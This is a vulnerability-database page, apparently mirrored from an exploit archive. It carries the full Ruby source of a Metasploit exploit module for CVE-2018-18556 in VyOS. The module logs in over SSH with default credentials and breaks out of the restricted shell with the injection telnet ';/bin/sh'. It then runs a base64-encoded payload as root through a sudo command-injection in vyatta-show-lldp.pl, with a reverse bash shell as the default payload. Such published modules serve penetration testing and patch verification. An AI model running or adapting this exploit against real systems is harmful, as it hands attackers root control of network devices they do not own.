Lucene search
K

VyOS restricted-shell Escape / Privilege Escalation Exploit

🗓️ 21 Sep 2020 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 120 Views

VyOS restricted-shell Escape Privilege Escalatio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2018-18556
19 Sep 202013:26
circl
CVE
CVE-2018-18556
17 Dec 201818:00
cve
Cvelist
CVE-2018-18556
17 Dec 201818:00
cvelist
Metasploit
VyOS restricted-shell Escape and Privilege Escalation
19 Sep 202017:41
metasploit
NVD
CVE-2018-18556
17 Dec 201819:29
nvd
OSV
CVE-2018-18556
17 Dec 201819:29
osv
Packet Storm
VyOS restricted-shell Escape / Privilege Escalation
21 Sep 202000:00
packetstorm
Prion
Privilege escalation
17 Dec 201819:29
prion
Positive Technologies
PT-2018-14514 · Vyos · Vyos
17 Dec 201800:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-up
25 Sep 202018:54
rapid7blog
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::SSH
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'VyOS restricted-shell Escape and Privilege Escalation',
        'Description' => %q{
          This module exploits command injection vulnerabilities and an insecure
          default sudo configuration on VyOS versions 1.0.0 <= 1.1.8 to execute
          arbitrary system commands as root.

          VyOS features a `restricted-shell` system shell intended for use by
          low privilege users with operator privileges. This module exploits
          a vulnerability in the `telnet` command to break out of the restricted
          shell, then uses sudo to exploit a command injection vulnerability in
          `/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands
          with root privileges.

          This module has been tested successfully on VyOS 1.1.8 amd64 and
          VyOS 1.0.0 i386.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rich Mirch', # discovery and exploit
          'bcoles' # metasploit
        ],
        'References' =>
        [
          [ 'CVE', '2018-18556' ],
          [ 'URL', 'https://blog.vyos.io/the-operator-level-is-proved-insecure-and-will-be-removed-in-the-next-releases' ],
          [ 'URL', 'https://blog.mirch.io/2018/11/05/cve-2018-18556-vyos-privilege-escalation-via-sudo-pppd-for-operator-users/' ],
          [ 'URL', 'https://github.com/mirchr/security-research/blob/master/vulnerabilities/VyOS/CVE-2018-18556.sh' ],
        ],
        'Arch' => ARCH_CMD,
        'DisclosureDate' => '2018-11-05',
        'DefaultOptions' =>
        {
          'Payload' => 'cmd/unix/reverse_bash'
        },
        'DefaultTarget' => 0,
        'Platform' => 'unix',
        'Privileged' => true,
        'Targets' =>
        [
          [
            'Automatic', {}
          ]
        ]
      )
    )

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true, 'SSH username', 'vyos']),
        OptString.new('PASSWORD', [true, 'SSH password', 'vyos']),
      ]
    )

    register_advanced_options(
      [
        Opt::Proxies,
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 15]),
        OptBool.new('GatherProof', [true, 'Gather proof of access via pre-session shell commands', false])
      ]
    )
  end

  def check
    factory = ssh_socket_factory
    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: password,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      return CheckCode::Safe
    rescue Net::SSH::Disconnect, ::EOFError
      return CheckCode::Safe
    rescue Timeout::Error
      return CheckCode::Safe
    rescue Net::SSH::AuthenticationFailed
      return CheckCode::Safe
    rescue Net::SSH::Exception
      return CheckCode::Safe
    end

    CheckCode::Detected('SSH service detected.')
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def exploit
    factory = ssh_socket_factory

    opts = {
      auth_methods: ['password', 'keyboard-interactive'],
      port: rport,
      use_agent: false,
      config: false,
      password: password,
      proxy: factory,
      non_interactive: true,
      verify_host_key: :never
    }

    opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

    print_status("#{rhost}:#{rport} - Attempt to login to VyOS SSH ...")

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, username, opts)
      end
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} SSH - Connection error or address in use")
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, "#{rhost}:#{rport} SSH - Disconnected during negotiation")
    rescue ::Timeout::Error
      fail_with(Failure::TimeoutExpired, "#{rhost}:#{rport} SSH - Timed out during negotiation")
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} SSH - Authentication failed")
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Error: #{e.class} : #{e.message}")
    end

    unless ssh
      fail_with(Failure::Unknown, "#{rhost}:#{rport} SSH - Session couldn't be established")
    end

    print_good('SSH connection established')

    ssh.open_channel do |channel|
      print_status('Requesting PTY ...')

      channel.request_pty do |ch, pty_success|
        unless pty_success
          fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not request PTY")
        end

        print_good('PTY successfully obtained')

        print_status('Requesting shell ...')

        ch.send_channel_request('shell') do |_ch, shell_success|
          unless shell_success
            fail_with(Failure::NotVulnerable, "#{rhost}:#{rport} SSH - Could not open shell")
          end

          print_good('Remote shell successfully obtained')
        end
      end

      vyos_check_executed = false
      expect_system_shell = false
      payload_executed = false

      payload_b64 = Rex::Text.encode_base64(payload.encoded)
      payload_cmd = ''

      channel.on_data do |_ch, data|
        return nil if payload_executed

        unless vyos_check_executed
          unless data.downcase.include?('vyos')
            fail_with(Failure::NotVulnerable, 'Remote system is not VyOS')
          end

          print_status('Remote system is VyOS')
          vyos_check_executed = true
          next
        end

        if !expect_system_shell && data.downcase.include?(username.downcase)
          if data.include?('> ')
            print_status('Remote session is using restricted-shell. Attempting breakout to system shell ...')
            channel.send_data("telnet ';/bin/sh'\n")
            payload_cmd = "sudo /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl -action show-neighbor -i ';echo #{payload_b64}|base64 -d|/bin/sh'"
            expect_system_shell = true
            next
          elsif data.include?('$ ')
            print_status('Remote session is using unrestricted shell. Launching system shell ...')
            channel.send_data("/bin/sh\n")
            payload_cmd = "echo #{payload_b64}|base64 -d|sudo /bin/sh"
            expect_system_shell = true
            next
          end
        end

        if expect_system_shell && data.include?('sh') && data.include?('$ ')
          print_good('Unrestricted system shell successfully obtained. Sending payload ...')
          vprint_status("Sending command: #{payload_cmd}")
          channel.send_data("#{payload_cmd}\n")
          payload_executed = true
        end
      end
    end

    begin
      ssh.loop unless session_created?
    rescue Errno::EBADF => e
      elog(e)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation